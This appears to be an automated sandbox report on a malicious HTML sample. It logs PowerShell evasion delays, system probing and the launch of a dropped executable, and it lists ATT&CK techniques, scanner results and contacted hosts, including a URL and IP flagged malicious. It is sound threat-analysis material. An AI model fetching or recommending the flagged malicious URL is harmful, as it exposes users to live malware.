Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3485			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5716			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5684

Thread sleep time: -14757395258967632s >= -30000s

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: filename.exe, 0000000B.00000003.2757911562.00000232E7678000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\filename.exe "C:\users\public\filename.exe"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 PowerShell	1 Registry Run Keys / Startup Folder	11 Process Injection	121 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Clipboard Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	11 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
C:\Users\Public\filename.exe	0%	ReversingLabs
C:\Users\Public\filename.exe	1%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
file:///C:/Users/user/Desktop/HARUMQ.html#	0%	Avira URL Cloud	safe
https://pixeltechnical.com/V1x/172988	0%	Avira URL Cloud	safe
https://d4b8db476c072517bc43f09f58d5d8ff.azr.footprintdns.com/apc/trans.gif?11a91e2c2fa42517df7093aff0f6ec4e	0%	Avira URL Cloud	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	0%	Avira URL Cloud	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/	0%	Avira URL Cloud	safe
https://d4b8db476c072517bc43f09f58d5d8ff.azr.footprintdns.com/apc/trans.gif?89b326e424ca5ce28f7fe5e7ab123e9b	0%	Avira URL Cloud	safe
file:///C:/Users/user/Desktop/HARUMQ.html	0%	Avira URL Cloud	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	1%	Virustotal		Browse
https://www.chiark.greenend.org.uk/~sgtatham/putty/	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
accounts.google.com	142.250.105.84	true	false	high
code.jquery.com	151.101.66.137	true	false	high
www.google.com	64.233.185.99	true	false	high
clients.l.google.com	173.194.219.102	true	false	high
pixeltechnical.com	91.107.214.239	true	true	unknown
clients1.google.com	unknown	unknown	false	high
clients2.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
file:///C:/Users/user/Desktop/HARUMQ.html#	false	Avira URL Cloud: safe	low
https://clients1.google.com/tools/pso/ping?as=chrome&brand=ONGR&pid=&hl=en&events=C1I,C2I,C7I,C1S,C7S&rep=2&rlz=C1:,C2:,C7:&id=000000000000000000000000000000000000000063A36EF620	false		high
https://d4b8db476c072517bc43f09f58d5d8ff.azr.footprintdns.com/apc/trans.gif?11a91e2c2fa42517df7093aff0f6ec4e	false	Avira URL Cloud: safe	unknown
https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard	false		high
https://pixeltechnical.com/V1x/172988	true	Avira URL Cloud: safe	unknown
https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1	false		high
https://code.jquery.com/jquery-3.6.4.min.js	false		high
https://d4b8db476c072517bc43f09f58d5d8ff.azr.footprintdns.com/apc/trans.gif?89b326e424ca5ce28f7fe5e7ab123e9b	false	Avira URL Cloud: safe	unknown
file:///C:/Users/user/Desktop/HARUMQ.html	false	Avira URL Cloud: safe	low

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	filename.exe.7.dr	false	URL Reputation: safe	unknown
https://sectigo.com/CPS0	filename.exe.7.dr	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	filename.exe.7.dr	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	filename.exe.7.dr	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	filename.exe.7.dr	false	URL Reputation: safe	unknown
https://www.chiark.greenend.org.uk/~sgtatham/putty/	filename.exe, 0000000B.00000000.2567028992.00007FF78A3A9000.00000002.00000001.01000000.00000004.sdmp, filename.exe.7.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	filename.exe.7.dr	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	filename.exe.7.dr	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	filename.exe.7.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	filename.exe.7.dr	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.105.84	accounts.google.com	United States	15169	GOOGLEUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
173.194.219.102	clients.l.google.com	United States	15169	GOOGLEUS	false
64.233.185.99	www.google.com	United States	15169	GOOGLEUS	false
91.107.214.239	pixeltechnical.com	Germany	24940	HETZNER-ASDE	true

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	39.0.0 Ruby
Analysis ID:	1381552
Start date and time:	2024-01-26 10:15:27 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	HARUMQ.html
Detection:	MAL
Classification:	mal64.evad.winHTML@21/16@11/7
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 172.253.124.94, 34.104.35.123, 72.21.81.240, 192.229.211.108, 172.217.215.94
Excluded domains from analysis (whitelisted): www.bing.com, fp.msedge.net, l-ring.msedge.net, slscr.update.microsoft.com, clientservices.googleapis.com, ctldl.windowsupdate.com, d4b8db476c072517bc43f09f58d5d8ff.azr.footprintdns.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, t-ring-fallbacks1.msedge.net, browser.pipe.aria.microsoft.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtProtectVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:16:57	API Interceptor	60x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	https://link.mail.beehiiv.com/ls/click?upn=o9n-2BPZJ9HxY-2BNn0NsKjT5hUBhVht-2FstIZ3fJt4NbrOvKz6rAIvnISg1OV8uRo7ULUtfftPBEHmlKICRhc9FRLw-3D-3DSwbx_8h-2BnX6CIr-2F7ENp3fro50yo7otB0zihj3cDKf16oOl5ECQxgvF1GsvMc2NU74YEvFzDDMtl3iNJ-2BgBRLrbLvfIODmtN9Vmt58usUhQbyQHodO4bf4CP2smfCpLk2lhVEZzA6hXqrAtqtIJStx719Az2RtYNfHIorpHOVPRA8cDd8lJuL2f3nmmfrJnSfLJ-2FP9XbGQBCT742Zbax7Urhc3lNdPN5sVEg-2FTP1u7HgZ4wOmo7IpbdZoBmSGr0Qo-2BMCkXaxc7oYAbc05G7GjASEmPPcxA7adZGSPSGDLQLPGIJ2r-2FMZJcq7VQildG6sYjZH73q7aDwL6Bj3vXGH7iCx5Ay6UJT6t2L4AXlR2DchepFsjSahQSvP-2Bqg3ASSxrsb8MXUcwmnAVR2lLmDawQXjRay76dC3Y-2BORmxtQNE3RsB8piTDp2g5rBTIO-2BYip9PB0JgoPQfYX9vN2RYkheOMFbZBA-3D-3D#bXRyQG5vdm96eW1lcy5jb20=	Get hash	malicious	Unknown	Browse
	http://Sbm-Sbm.onlinemailmicrosotfvalidation.com/?s=di5jYWxhbWVAc2JtLm1j	Get hash	malicious	Unknown	Browse
